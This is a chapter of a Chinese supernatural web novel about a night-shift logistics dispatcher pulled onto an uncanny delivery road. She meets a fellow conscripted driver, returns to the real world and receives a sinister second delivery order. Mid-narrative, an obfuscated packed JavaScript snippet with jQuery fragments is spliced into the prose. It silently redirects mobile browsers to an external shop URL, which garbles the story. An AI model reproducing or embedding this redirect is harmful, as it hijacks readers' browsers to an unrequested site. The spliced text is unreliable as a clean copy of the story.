姜迟从后视镜里看着那辆面包车。
面包车在路边停了几秒，忽然亮起转向灯，掉了个头，朝她追过来。
她没有加速。
一是对方真要有恶意，她这辆拉货的车跑不过。
二是那男人脸上的疲惫不像是装的，跟她一样，是个被突然扔进这摊事的倒霉蛋。
面包车在她前面靠边停下，打了双闪。男人跳下来，朝她走来，边走边举起双手，示意自己没有恶意。
姜迟降下车窗。
"哥们儿，"男人在车窗边上站定，压着嗓子，"你挡风玻璃底下那个本，是黑色的吗？"
"是。"
"证件类型写的是行者证？"
"是。"
男人长长吐出一口气，整个人靠在车门上，像是一根绷紧的弦松了。
"可算碰上个活人了。"他说，"我跑这一路，两天了，一辆车没碰见过，一个人影没有。我以为这条路上就我一个。"
"你接了几单了？"
"一单，刚送完。"男人指了指自己的车，"送一箱冷冻鱼去了一个什么岛，岛上全是雾，收货的老头不签字，非得让我把鱼全倒出来数。数完了，鱼是臭的，老头就急了，说货损。我跟他掰扯了半宿，才给签了。"
姜迟看了他一眼。这位的经历听着比她正常多了。
"我叫赵广军。"男人掏出烟，递过来一根，"物流园开面包车的，专跑生鲜。你呢？"
"姜迟。也是物流园的，夜班调度。"
"缘分啊。"赵广军点上烟，狠狠吸了一口，"那什么，我问你个事。你的导航，会说话吗？"
"会。"
"它也老提示你什么规则吗？"
"嗯。"
赵广军的脸色变了变，凑近了些："那你碰上过那种，不太对劲的东西吗？搭车的，查车的，还有路上站着的那些？"
姜迟没接这个话。她想起导航的提示，勿暴露面单可见能力。这个人的底细她不清楚，该说的话和不该说的话，她心里有数。
"碰上过一些。"她说，"你怎么跑到这条路上来的？"
"睡一觉的事儿。"赵广军说，"前一晚我在物流园等装货，眯了一觉，醒了就在这条破路上了。车，证，导航，全齐了。我报警，没信号，打110，拨出去是空号。你说邪门不邪门。"
跟她一模一样。
"你下一步打算怎么办？"姜迟问。
"导航让我上收费站，说是什么登记。"赵广军朝前努努嘴，"就前面那个。你去吗？"
"去。"
"那正好，搭个伴。"赵广军咧嘴笑了，"说真的，妹子，你看着可不像被吓着的。我这一路，腿肚子到现在还是软的。"
"软的也得开。"姜迟说，"超时抹杀，你没看见这条？"
"看见了。所以我这两天就跑单，送完一单接一单，不敢停。"赵广军压低声音，"不过我跟你说，这路上有坏人。"
"什么意思？"
"我上一单，回程的时候，碰上一辆车。"赵广军的烟灰掉在鞋上，他也没拍，"一辆黑色的越野车，跟了我几十公里。后来我停在一个路边摊吃饭，那车也停了，下来两个人，问我拉的什么，要不要搭伙跑单，说跑单有提成。"
"你怎么说？"
"我说我看看货。"赵广军说，"那俩人当时脸色就不对了。其中有个家伙，脖子后面有一块黑的，不是胎记，像是什么东西印上去的，一个圈，圈里套着个字。"
姜迟心里记下了这个细节。
"然后呢？"
"然后他们就走了。走之前那个脖子黑的跟我说了一句话。"赵广军掐了烟，"他说，新手保护期就七天，七天后收费站见。妹子，你说这话什么意思？"
"意思七天后，有人要来找麻烦。"姜迟说，"你这几天少停车，少跟陌生人说话。单子接满三单先保命。"
"你也是这个三单？"
"嗯。"
赵广军点点头，从车里翻出一个巴掌大的本子，撕了张纸，写了串数字，递给她。
"我手机号。"他说，"这条路上没法打，出了这条路没准能通。咱俩也算难友了，有啥事，吱一声。"
姜迟接过来，也把自己的号码写给他。
两人又抽了根烟，交换了些跑单的零碎信息。赵广军知道的比她少，他看不见导航屏幕上的多余内容，面单在他眼里就是普通面单。姜迟旁敲侧击地问了两句，心里有了底。
普通人在这条路上，就是个睁眼瞎，规则全靠猜。
她没露自己的底。
赵广军接了下一单的提示，得先走。临走前他趴在车窗上又说了一句："妹子，收费站里要是有人打听你能力的，你可别说。我刚才就想问来着，看你没接话，我就懂了。防人之心不可无。"
"你也有不能说的？"
"有。"赵广军苦笑，"我上车第三天，导航说我有什么车载保鲜，碰过我的货坏不了。这本事要是让坏人知道了，我那车就是活靶子。"
两人对视了一眼，都没再说话。同路的缘分到此为止，各自有各自的命。
面包车先走了，尾灯很快消失在晨雾里。
姜迟坐回驾驶室，发动车，继续朝收费站开。
开出去大概七八公里，路两边的景色忽然变了。
没有预兆，没有过渡。前一秒还是乡道，电线杆，农田，下一秒，路两边变成了熟悉的仓库墙，蓝色的铁皮，高高的灯杆，地上画着黄色的停车位线。
姜迟一脚刹车，把车停住。
物流园。
她的物流园。北门，保安亭，岗亭里坐着值夜班的保安大叔，正端着杯子喝水。她停的位置，就是她半夜眯觉的那个车位。
车熄了火。她坐在驾驶座上，半天没动。
她推门下车，夜风一吹，是九月正常的、有点燥热的夜风。没有雾，没有路灯怪影，天上一颗星星都没有，是正常的阴天。
保安亭的大叔探出头："小姜？你啥时候出去的，我都没看见。"
"出去跑了个单。"姜迟说，"几点了？"
"五点四十。"大叔看了眼表，"你两点钟不还问我借过打火机？这才三个多小时，你跑哪去了，一身土。"
三个多小时。
姜迟的心算了一下。她在那条路上，从被征召到送完首单，感觉至少过了一天一夜。现实中，只过了三个多小时。
"叔，我问你个事。"她说，"我这车，昨晚在这停了一晚上，没动过？"
"动没动我哪知道，我又不是给你看车的。"大叔缩回岗亭，"不过两点钟借打火机那阵，车是停这的。你赶紧的，五点交接班，王主任来了又该念叨了。"
姜迟回到车上，翻出手机。
有信号了。时间，电量，微信消息，一切正常。
未读消息十七条，物流群里的装货通知，她妈的旧号码发来的话费提醒，那个号码早没人用了，还有一条快递取件码。
她往下翻，翻到一个她没见过的图标。
一个灰色的方形图标，上面是一条路的图案，图案弯弯曲曲，没有名字。
她长按，没有卸载选项。她试着拖进文件夹，图标自己弹回了桌面。
点开来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947438|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，是那个熟悉的界面。订单，个人中心，地图。
地图上，第一收费站的灰色标记还在，只是多了一行字：未登记。
姜迟把手机扣在方向盘上，靠着椅背，闭上眼。
她现在的状态很奇怪。困，累，但是脑子转得飞快。
她想着报警，跟警察说什么？说我被一条不存在的公路征召了，跑车送了一口会呼吸的箱子？警察会先给她叫救护车。
她想着找人验证。找谁？同事？亲戚？这事说出去一个字，要么没人信，要么信了的会被拖进来。
赵广军的纸条在她口袋里。她掏出手机，照着那个号码拨过去。
通了。
"喂？"赵广军的声音，带着浓浓的睡意和不敢相信，"通了？真通了？"
"通了。"姜迟说，"你在哪？"
"我在我家楼下，车里。"赵广军的声音一下子清醒了，"我刚到，我老婆还在楼上睡觉，她说我昨晚就没出门。可我明明跑了两天！车里的油，里程，全变了！妹子，这到底怎么回事？"
"你的手机上，有没有多一个删不掉的图标？灰色的，一条路的图案。"
电话那头沉默了几秒。
"有。"赵广军的声音发干，"删不掉，点不开也删不掉。你也有？"
"嗯。"姜迟说，"听着，这事先别跟任何人说，包括你老婆。该上班上班，该睡觉睡觉。三单期限在，咱们逃不掉。明天，我们去那个收费站登记，看看到底怎么回事。"
"行，听你的。"赵广军顿了顿，"妹子，你说，咱们还能回去吗？"
姜迟看着车窗外渐渐泛白的天，看着熟悉的物流园的仓库，看着保安亭里大叔的背影。
"能。"她说，"我送完一单就回来了一次。路能开进去，就能开出来。"
挂了电话，她发动车，开出物流园，回自己的出租屋。
她住在城西的老小区，六楼，没有电梯。她把车停在楼下，上楼，开门，屋里一股封闭了一夜的闷味。
她没开灯，摸黑走到沙发上，坐下来。
她决定把这事先放下。
睡一觉。醒来要是这一切还在，那它就是真的。
要是醒来图标没了，车里的油表恢复正常，那就是一场过分逼真的噩梦。
她连衣服都没换，倒在沙发上，三秒钟就睡着了。
这一觉睡得死沉。没有梦，没有箱子，没有雾。
她是被手机震醒的。
窗外的天已经黑透了。她摸过手机，是闹钟，晚上十一点半，她睡前定的。图标还在桌面上，安安静静。
她坐起来，洗了把脸，给自己下了一碗面。吃着面，她一直在看手机，那个图标一动不动。
十一点五十九分。
图标动了。
没有点开它，它自己跳了一下，像被什么东西从里面敲了敲。紧接着，屏幕顶端弹下一条通知，没有应用名，没有发送人。
【第二单已派发。】
【货物：一车人。】
【装货地：东岭老汽车站。】
【收货地：未解锁。】
【限时：明晚十二点。】
【备注：他们比你先知道这单货。】
姜迟盯着备注栏最后一行。
这一单的备注，不是写给她的。像是有什么东西，提前把话撂在了这。
一行小字在她注视下，慢慢地浮了出来，加在备注的最后。
【姐姐】
碗里的面凉了。
窗外，小区的灯一层一层熄下去，整座城市沉进夜里。
姜迟放下筷子，拿起了钥匙。